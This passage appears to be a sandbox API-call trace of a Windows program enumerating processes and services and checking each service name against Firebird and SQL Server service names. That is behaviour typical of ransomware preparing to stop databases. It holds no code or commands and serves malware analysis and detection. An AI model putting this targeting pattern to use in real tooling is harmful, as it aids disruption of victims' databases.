	[0180.240] lstrlenW (lpString="cmd.exe") returned 7
	[0180.240] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0180.240] lstrlenW (lpString="conhost.exe") returned 11
	[0180.240] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x3ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1
	[0180.241] lstrlenW (lpString="consent.exe") returned 11
	[0180.241] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0180.241] lstrlenW (lpString="dllhost.exe") returned 11
	[0180.241] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0
	[0180.242] CloseHandle (hObject=0x36c) returned 1
	[0180.242] Sleep (dwMilliseconds=0x1f4) 
	[0180.809] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3929e80
	[0180.810] EnumServicesStatusExW (in: hSCManager=0x3929e80, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0) returned 0
	[0180.810] GetLastError () returned 0xea
	[0180.810] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1c30) returned 0x40b0028
	[0180.811] EnumServicesStatusExW (in: hSCManager=0x3929e80, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x40b0028, cbBufSize=0x1c30, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x40b0028, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0) returned 1
	[0180.812] CloseServiceHandle (hSCObject=0x3929e80) returned 1
	[0180.813] lstrlenW (lpString="Appinfo") returned 7
	[0180.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0180.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0180.813] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0180.813] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0180.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0180.813] lstrlenW (lpString="AppXSvc") returned 7
	[0180.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0180.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0180.813] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0180.813] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0180.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0180.814] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0180.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0180.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0180.814] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0180.814] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0180.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0180.814] lstrlenW (lpString="Audiosrv") returned 8
	[0180.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0180.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0180.814] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0180.814] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0180.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0180.814] lstrlenW (lpString="BFE") returned 3
	[0180.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0180.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0180.814] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0180.814] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0180.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0180.815] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0180.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0180.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0180.815] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0180.815] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0180.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0180.815] lstrlenW (lpString="CDPSvc") returned 6
	[0180.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0180.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0180.815] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0180.815] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0180.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0180.815] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0180.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0180.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0180.815] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0180.815] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0180.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0180.815] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0180.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0180.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0180.815] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0180.815] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0180.816] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0180.816] lstrlenW (lpString="CryptSvc") returned 8
	[0180.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0180.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0180.816] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0180.816] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0180.816] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0180.816] lstrlenW (lpString="DcomLaunch") returned 10
	[0180.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0180.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0180.816] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0180.816] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0180.816] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0180.816] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0180.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0180.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0180.816] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0180.816] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0180.816] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0180.816] lstrlenW (lpString="Dhcp") returned 4
	[0180.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0180.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0180.816] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0180.816] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0180.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0180.817] lstrlenW (lpString="Dnscache") returned 8
	[0180.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0180.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0180.817] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0180.817] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0180.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0180.817] lstrlenW (lpString="DPS") returned 3
	[0180.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0180.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0180.817] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0180.817] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0180.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0180.817] lstrlenW (lpString="DusmSvc") returned 7
	[0180.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0180.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0180.817] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0180.817] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0180.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0180.817] lstrlenW (lpString="EventLog") returned 8
	[0180.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0180.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0180.817] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0180.817] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0180.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0180.818] lstrlenW (lpString="EventSystem") returned 11
	[0180.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0180.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0180.818] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0180.818] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0180.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0180.818] lstrlenW (lpString="FontCache") returned 9
	[0180.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0180.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0180.818] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0180.818] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0180.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0180.818] lstrlenW (lpString="gpsvc") returned 5
	[0180.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0180.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0180.818] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0180.818] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0180.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0180.818] lstrlenW (lpString="iphlpsvc") returned 8
	[0180.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0180.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0180.818] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0180.818] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0180.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0180.818] lstrlenW (lpString="KeyIso") returned 6
	[0180.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0180.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0180.819] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0180.819] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0180.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0180.819] lstrlenW (lpString="LanmanServer") returned 12
	[0180.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0180.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0180.819] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0180.882] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0180.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0180.882] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0180.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0180.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0180.882] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0180.882] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0180.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0180.883] lstrlenW (lpString="lfsvc") returned 5
	[0180.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0180.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0180.883] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0180.883] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0180.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0180.883] lstrlenW (lpString="lmhosts") returned 7
	[0180.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0180.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0180.883] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0180.883] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0180.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0180.883] lstrlenW (lpString="LSM") returned 3
	[0180.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0180.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0180.883] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0180.883] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0180.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0180.883] lstrlenW (lpString="MpsSvc") returned 6
	[0180.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0180.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0180.883] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0180.884] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0180.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0180.884] lstrlenW (lpString="NcbService") returned 10
	[0180.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0180.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0180.884] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0180.884] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0180.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0180.884] lstrlenW (lpString="netprofm") returned 8
	[0180.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0180.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0180.884] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0180.884] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0180.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0180.884] lstrlenW (lpString="NgcSvc") returned 6
	[0180.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0180.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0180.884] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0180.884] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0180.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0180.884] lstrlenW (lpString="NlaSvc") returned 6
	[0180.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0180.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0180.884] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0180.884] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0180.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0180.885] lstrlenW (lpString="nsi") returned 3
	[0180.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0180.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0180.885] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0180.885] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0180.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0180.885] lstrlenW (lpString="PcaSvc") returned 6
	[0180.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0180.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0180.885] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0180.885] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0180.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0180.885] lstrlenW (lpString="PlugPlay") returned 8
	[0180.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0180.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0180.885] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0180.885] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0180.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0180.885] lstrlenW (lpString="Power") returned 5
	[0180.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0180.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0180.885] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0180.885] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0180.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0180.885] lstrlenW (lpString="ProfSvc") returned 7
	[0180.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0180.886] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0180.886] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0180.886] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0180.886] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0180.886] lstrlenW (lpString="RpcEptMapper") returned 12
	[0180.886] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0180.886] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0180.886] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0180.886] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0180.886] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0180.886] lstrlenW (lpString="RpcSs") returned 5
	[0180.886] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0180.886] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0180.886] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0180.886] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0180.886] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0180.886] lstrlenW (lpString="SamSs") returned 5
	[0180.886] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0180.886] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0180.886] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0180.886] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0180.886] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0180.886] lstrlenW (lpString="Schedule") returned 8
	[0180.886] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0180.887] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0180.887] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0180.887] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0180.887] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0180.887] lstrlenW (lpString="SecurityHealthService") returned 21
	[0180.887] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0180.887] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0180.887] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0180.887] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0180.887] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0180.887] lstrlenW (lpString="SENS") returned 4
	[0180.887] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0180.887] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0180.887] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0180.887] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0180.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0180.894] lstrlenW (lpString="ShellHWDetection") returned 16
	[0180.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0180.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0180.894] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0180.894] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0180.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0180.894] lstrlenW (lpString="Spooler") returned 7
	[0180.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0180.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0180.895] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0180.895] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0180.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0180.895] lstrlenW (lpString="StateRepository") returned 15
	[0180.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0180.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0180.895] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0180.895] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0180.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0180.895] lstrlenW (lpString="SysMain") returned 7
	[0180.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0180.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0180.895] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0180.895] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0180.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0180.895] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0180.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0180.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0180.895] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0180.895] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0180.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0180.895] lstrlenW (lpString="Themes") returned 6
	[0180.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0180.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0180.895] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0180.895] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0180.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0180.896] lstrlenW (lpString="tiledatamodelsvc") returned 16
